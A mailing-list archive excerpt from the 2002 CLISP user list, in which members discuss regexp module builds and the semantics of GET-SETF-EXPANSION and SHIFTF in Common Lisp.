clisp-list@lists.sourceforge.net; Tue, 23 Jul 2002 12:35:01 +0200 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RPM with REGEXP References: <20020723085805.75843.qmail@web20007.mail.yahoo.com> From: Marco Baringer In-Reply-To: <20020723085805.75843.qmail@web20007.mail.yahoo.com> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 03:36:03 2002 X-Original-Date: 23 Jul 2002 12:34:46 +0200 Grzegorz Chrupala writes: > Hi All > > I am trying to learn Lisp and as my first language is > Perl I am used to using regexps for pattern matching. > I would like to continue using them with CLISP. I > tried to build CLISP myself (with the regexp module) > but didn't manage to. Question is, is there a binary > build for Linux, compiled with regexp? > > Thanks, > > Gregor 1) why couldn't you build the regexp module? 2) there are pure lisp regexp packages which do not require rebuilding CLISP. Go to the Regular Expression section on the Cliki: http://ww.telent.net/cliki/Regular%20Expression pregexp is slow but is the most perl like. Michael Parker's is fast and feature complete enough to be very usefull (the only feature i miss are zero-wdith positive/negative look ahead/behind assertions, but those can usually be faked anyway). -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From samuel.steingold@verizon.net Tue Jul 23 06:09:42 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WzQ6-0007FE-00 for ; Tue, 23 Jul 2002 06:09:42 -0700 Received: (cpmta 12808 invoked from network); 23 Jul 2002 06:09:35 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 23 Jul 2002 06:09:35 -0700 X-Sent: 23 Jul 2002 13:09:35 GMT To: Grzegorz Chrupala Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RPM with REGEXP References: <20020723085805.75843.qmail@web20007.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020723085805.75843.qmail@web20007.mail.yahoo.com> Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 06:10:03 2002 X-Original-Date: 23 Jul 2002 09:09:34 -0400 > * In message <20020723085805.75843.qmail@web20007.mail.yahoo.com> > * On the subject of "[clisp-list] RPM with REGEXP" > * Sent on Tue, 23 Jul 2002 10:58:05 +0200 (CEST) > * Honorable Grzegorz Chrupala writes: > > I am trying to learn Lisp and as my first language is > Perl I am used to using regexps for pattern matching. Well, regexps are very limited in what can be accomplished with them. (e.g., they are not "Turing complete"). I urge you to explore the power of functional and OO programming instead of writing Perl code in Common Lisp syntax. Get Paul Grahams "ANSI Common Lisp" and "On Lisp" and read them. You will not regret the investment. > I would like to continue using them with CLISP. Note that CLISP uses the standard POSIX regexp format (same as egrep and Emacs) and not the Perl regexp format. Feel free to rip perl regexps from perl and make a CLISP module. > I tried to build CLISP myself (with the regexp module) > but didn't manage to. what was your problem? > Question is, is there a binary > build for Linux, compiled with regexp? The usual places, e.g., install the RPM and run clisp as $ clisp -K full -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Whom computers would destroy, they must first drive mad. From toy@rtp.ericsson.se Tue Jul 23 07:43:28 2002 Received: from imr2.ericy.com ([198.24.6.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X0sq-0005tJ-00 for ; Tue, 23 Jul 2002 07:43:28 -0700 Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.224.157]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id g6NEhKi18360 for ; Tue, 23 Jul 2002 09:43:20 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g6NEhJ620208 for ; Tue, 23 Jul 2002 09:43:19 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id PNXT3PPV; Tue, 23 Jul 2002 09:43:19 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id KAA02549 for ; Tue, 23 Jul 2002 10:46:40 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g6NEhIw18694; Tue, 23 Jul 2002 10:43:18 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List From: Raymond Toy Message-ID: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> Lines: 39 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (broccoflower) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] (get-setf-expansion ''z)? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 07:44:05 2002 X-Original-Date: 23 Jul 2002 10:43:17 -0400 Currently, (get-setf-expansion ''z) produces: (#:G232) ; (Z) ; (#:G231) ; ((SETF QUOTE) #:G231 #:G232) ; '#:G232 In typical usage, this would be converted to (let ((#:g232 z)) (multiple-value-bind (some-var) '#:g232 (progn (do-something)))) But there is no Z variable. We really wanted the symbol Z. This occurs when, for example, you want to implement your own version of shiftf (for learning) and use something like (shiftf x (cdr y) 'z). It seems to my feeble mind that get-setf-expansion should return something like NIL ; NIL ; (#:G231) ; ((SETF QUOTE) #:G231 #:G232) ; 'Z Then the typical usage would be (multiple-value-bind (some-var) 'z (progn (do-something))) My thinking must be wrong.... Ray From samuel.steingold@verizon.net Tue Jul 23 07:51:52 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X10x-0007Ob-00 for ; Tue, 23 Jul 2002 07:51:51 -0700 Received: (cpmta 16105 invoked from network); 23 Jul 2002 07:51:45 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 23 Jul 2002 07:51:45 -0700 X-Sent: 23 Jul 2002 14:51:45 GMT To: Raymond Toy Cc: CLISP Mailing List Subject: Re: [clisp-list] (get-setf-expansion ''z)? References: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 07:52:03 2002 X-Original-Date: 23 Jul 2002 10:51:41 -0400 > * In message <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> > * On the subject of "[clisp-list] (get-setf-expansion ''z)?" > * Sent on 23 Jul 2002 10:43:17 -0400 > * Honorable Raymond Toy writes: > > This occurs when, for example, you want to implement your own version > of shiftf (for learning) and use something like (shiftf x (cdr y) 'z). 'z is a constant. (setf 'z foo) does not make sense. am I totally confused? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux There's always free cheese in a mouse trap. From toy@rtp.ericsson.se Tue Jul 23 08:14:18 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X1Mg-0004cN-00 for ; Tue, 23 Jul 2002 08:14:18 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g6NFEFl16079 for ; Tue, 23 Jul 2002 10:14:15 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g6NFEFB01108 for ; Tue, 23 Jul 2002 10:14:15 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id PNXT34BS; Tue, 23 Jul 2002 10:14:15 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id LAA03191 for ; Tue, 23 Jul 2002 11:17:36 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g6NFEEl18747; Tue, 23 Jul 2002 11:14:14 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: Re: [clisp-list] (get-setf-expansion ''z)? References: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> Lines: 22 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (broccoflower) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 08:15:02 2002 X-Original-Date: 23 Jul 2002 11:14:14 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> >> * On the subject of "[clisp-list] (get-setf-expansion ''z)?" >> * Sent on 23 Jul 2002 10:43:17 -0400 >> * Honorable Raymond Toy writes: >> >> This occurs when, for example, you want to implement your own version >> of shiftf (for learning) and use something like (shiftf x (cdr y) 'z). Sam> 'z is a constant. Sam> (setf 'z foo) does not make sense. Sam> am I totally confused? It's an example from the CLOCC ansi tests (that Clisp gets right, but CMUCL doesn't). What the shiftf is doing is setting (cdr y) to 'z, but nothing is done with 'z, so this is ok. (shiftf x 'z (cdr y)) is, of course, an error since you can't setf 'z to anything. Ray From samuel.steingold@verizon.net Tue Jul 23 08:29:47 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X1be-0006YB-00 for ; Tue, 23 Jul 2002 08:29:46 -0700 Received: (cpmta 18574 invoked from network); 23 Jul 2002 08:29:39 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 23 Jul 2002 08:29:39 -0700 X-Sent: 23 Jul 2002 15:29:39 GMT To: Raymond Toy Cc: CLISP Mailing List Subject: Re: [clisp-list] (get-setf-expansion ''z)? References: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> Message-ID: Lines: 42 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 08:30:05 2002 X-Original-Date: 23 Jul 2002 11:29:38 -0400 > * In message <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> > * On the subject of "Re: [clisp-list] (get-setf-expansion ''z)?" > * Sent on 23 Jul 2002 11:14:14 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > >> * In message <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> > >> * On the subject of "[clisp-list] (get-setf-expansion ''z)?" > >> * Sent on 23 Jul 2002 10:43:17 -0400 > >> * Honorable Raymond Toy writes: > >> > >> This occurs when, for example, you want to implement your own version > >> of shiftf (for learning) and use something like (shiftf x (cdr y) 'z). > > Sam> 'z is a constant. > Sam> (setf 'z foo) does not make sense. > Sam> am I totally confused? > > It's an example from the CLOCC ansi tests (that Clisp gets right, but > CMUCL doesn't). > > What the shiftf is doing is setting (cdr y) to 'z, but nothing is done > with 'z, so this is ok. (shiftf x 'z (cdr y)) is, of course, an error > since you can't setf 'z to anything. I see! but you do not need to compute (get-setf-expansion ') to macroexpand (shiftf .... )! the point is that setting (quote foo) is impossible so (get-setf-expansion ''z) does not make sense. It might make sense to signal an error on (get-setf-expansion ''z), but I see no reason to return anything useful there. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux A poet who reads his verse in public may have other nasty habits. From toy@rtp.ericsson.se Tue Jul 23 08:39:00 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X1ka-0007XE-00 for ; Tue, 23 Jul 2002 08:39:00 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g6NFcwl26428 for ; Tue, 23 Jul 2002 10:38:58 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g6NFcwB09071 for ; Tue, 23 Jul 2002 10:38:58 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id PNXT3XRJ; Tue, 23 Jul 2002 10:38:58 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id LAA03651 for ; Tue, 23 Jul 2002 11:42:19 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g6NFcvZ18794; Tue, 23 Jul 2002 11:38:57 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: Re: [clisp-list] (get-setf-expansion ''z)? References: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4n8z42bgj2.fsf@edgedsp4.rtp.ericsson.se> Lines: 37 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (broccoflower) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 08:39:05 2002 X-Original-Date: 23 Jul 2002 11:38:57 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> >> >> It's an example from the CLOCC ansi tests (that Clisp gets right, but >> CMUCL doesn't). >> >> What the shiftf is doing is setting (cdr y) to 'z, but nothing is done >> with 'z, so this is ok. (shiftf x 'z (cdr y)) is, of course, an error >> since you can't setf 'z to anything. Sam> I see! Sam> but you do not need to compute (get-setf-expansion ') to Sam> macroexpand (shiftf .... )! Well, that just means that I'd have to special case the last expression in the macroexpander. Possible to do, but I rather like just running down all of the elements and calling g-s-e. BTW, this was one of several ways I tried when I tried to add shiftf support with multiple values for CMUCL. Sam> the point is that setting (quote foo) is impossible so Sam> (get-setf-expansion ''z) does not make sense. Sam> It might make sense to signal an error on (get-setf-expansion ''z), Sam> but I see no reason to return anything useful there. Well, it does make some sense instead of producing an error. You just have to know not to try to set it. Everything else is ok. I don't know how clisp does this for shiftf. From the output, it seems that it doesn't call g-s-e on the last arg of shiftf, but it's possible shiftf is massaging it into something else. Ray From samuel.steingold@verizon.net Tue Jul 23 08:58:41 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X23c-0006sL-00 for ; Tue, 23 Jul 2002 08:58:41 -0700 Received: (cpmta 19271 invoked from network); 23 Jul 2002 08:58:34 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 23 Jul 2002 08:58:34 -0700 X-Sent: 23 Jul 2002 15:58:34 GMT To: Raymond Toy Cc: CLISP Mailing List Subject: Re: [clisp-list] (get-setf-expansion ''z)? References: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> <4n8z42bgj2.fsf@edgedsp4.rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4n8z42bgj2.fsf@edgedsp4.rtp.ericsson.se> Message-ID: Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 08:59:04 2002 X-Original-Date: 23 Jul 2002 11:58:33 -0400 calling GET-SETF-EXPANSION on the last arg to SHIFTF does not make sense. think of (shiftf a b c 10) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Warning! Dates in calendar are closer than they appear! From toy@rtp.ericsson.se Tue Jul 23 09:08:42 2002 Received: from imr2.ericy.com ([198.24.6.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X2DK-0007y2-00 for ; Tue, 23 Jul 2002 09:08:42 -0700 Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.224.157]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id g6NG8Zi23529 for ; Tue, 23 Jul 2002 11:08:35 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g6NG8YA19519 for ; Tue, 23 Jul 2002 11:08:34 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id PNXT37DB; Tue, 23 Jul 2002 11:08:34 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id MAA04201 for ; Tue, 23 Jul 2002 12:11:54 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g6NG8Xq18947; Tue, 23 Jul 2002 12:08:33 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: Re: [clisp-list] (get-setf-expansion ''z)? References: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> <4n8z42bgj2.fsf@edgedsp4.rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nr8hua0la.fsf@edgedsp4.rtp.ericsson.se> Lines: 18 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (broccoflower) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 09:09:05 2002 X-Original-Date: 23 Jul 2002 12:08:33 -0400 >>>>> "Sam" == Sam Steingold writes: Sam> calling GET-SETF-EXPANSION on the last arg to SHIFTF does not make Sam> sense. think of (shiftf a b c 10) Then what are you supposed to do for (shiftf (values a b) (values (cdr x) (car y)) (values 'foo (bar))) Ok. I guess shiftf has to do something special with the last arg, no matter what g-s-e does, since g-s-e doesn't work for numbers. Anyway, I'm not really arguing one way or the other. I'm just trying to understand. Ray From samuel.steingold@verizon.net Tue Jul 23 09:34:00 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X2bn-00036T-00 for ; Tue, 23 Jul 2002 09:33:59 -0700 Received: (cpmta 8877 invoked from network); 23 Jul 2002 09:33:50 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 23 Jul 2002 09:33:50 -0700 X-Sent: 23 Jul 2002 16:33:50 GMT To: Raymond Toy Cc: CLISP Mailing List Subject: Re: [clisp-list] (get-setf-expansion ''z)? References: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> <4n8z42bgj2.fsf@edgedsp4.rtp.ericsson.se> <4nr8hua0la.fsf@edgedsp4.rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nr8hua0la.fsf@edgedsp4.rtp.ericsson.se> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 09:34:05 2002 X-Original-Date: 23 Jul 2002 12:33:46 -0400 > * In message <4nr8hua0la.fsf@edgedsp4.rtp.ericsson.se> > * On the subject of "Re: [clisp-list] (get-setf-expansion ''z)?" > * Sent on 23 Jul 2002 12:08:33 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> calling GET-SETF-EXPANSION on the last arg to SHIFTF does not make > Sam> sense. think of (shiftf a b c 10) > > Then what are you supposed to do for > (shiftf (values a b) (values (cdr x) (car y)) (values 'foo (bar))) nope. :-) I finally guessed why you cannot look at the CLISP sources: licensing. (CMUCL is PD, CLISP is GNU GPL, so we can borrow CMUCL code while CMUCL cannot. :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Those who value Life above Freedom are destined to lose both. From toy@rtp.ericsson.se Tue Jul 23 10:47:35 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X3l1-0000cZ-00 for ; Tue, 23 Jul 2002 10:47:35 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g6NHlVl24874 for ; Tue, 23 Jul 2002 12:47:31 -0500 (CDT) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id g6NHlVJ24351 for ; Tue, 23 Jul 2002 12:47:31 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id PNXTPLGA; Tue, 23 Jul 2002 12:47:31 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.0]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id NAA06024 for ; Tue, 23 Jul 2002 13:50:52 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g6NHlUj19088; Tue, 23 Jul 2002 13:47:30 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: Re: [clisp-list] (get-setf-expansion ''z)? References: <4nptxebj3u.fsf@edgedsp4.rtp.ericsson.se> <4nlm82bho9.fsf@edgedsp4.rtp.ericsson.se> <4n8z42bgj2.fsf@edgedsp4.rtp.ericsson.se> <4nr8hua0la.fsf@edgedsp4.rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nadoi9w0d.fsf@edgedsp4.rtp.ericsson.se> Lines: 36 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (broccoflower) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 23 10:48:04 2002 X-Original-Date: 23 Jul 2002 13:47:30 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <4nr8hua0la.fsf@edgedsp4.rtp.ericsson.se> >> * On the subject of "Re: [clisp-list] (get-setf-expansion ''z)?" >> * Sent on 23 Jul 2002 12:08:33 -0400 >> * Honorable Raymond Toy writes: >> >> >>>>> "Sam" == Sam Steingold writes: >> Sam> calling GET-SETF-EXPANSION on the last arg to SHIFTF does not make Sam> sense. think of (shiftf a b c 10) >> >> Then what are you supposed to do for >> (shiftf (values a b) (values (cdr x) (car y)) (values 'foo (bar))) Sam> nope. :-) After more thought, I understand much better now and agree with you. I don't have to call g-s-e at all for the last thing because it's not a place. Thank you!!!!! Sam> I finally guessed why you cannot look at the CLISP sources: licensing. Sam> (CMUCL is PD, CLISP is GNU GPL, so we can borrow CMUCL code while CMUCL Sam> cannot. :-) Yep. But we can, with permission, which Bruno did give for the rationalize function. But I did cheat a little and looked at the code, but didn't understand it because it uses some Clisp-specific things (I think). In any case, the code is totally different---I basically copied the code from CMUCL's rotatef macro and modified it for shiftf. Ray From grechru@yahoo.com Wed Jul 24 01:13:09 2002 Received: from web20002.mail.yahoo.com ([216.136.225.47]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XHGe-00081x-00 for ; Wed, 24 Jul 2002 01:13:08 -0700 Message-ID: <20020724081307.12494.qmail@web20002.mail.yahoo.com> Received: from [62.14.124.43] by web20002.mail.yahoo.com via HTTP; Wed, 24 Jul 2002 10:13:07 CEST From: =?iso-8859-1?q?Grzegorz=20Chrupala?= Subject: Re: [clisp-list] RPM with REGEXP To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: 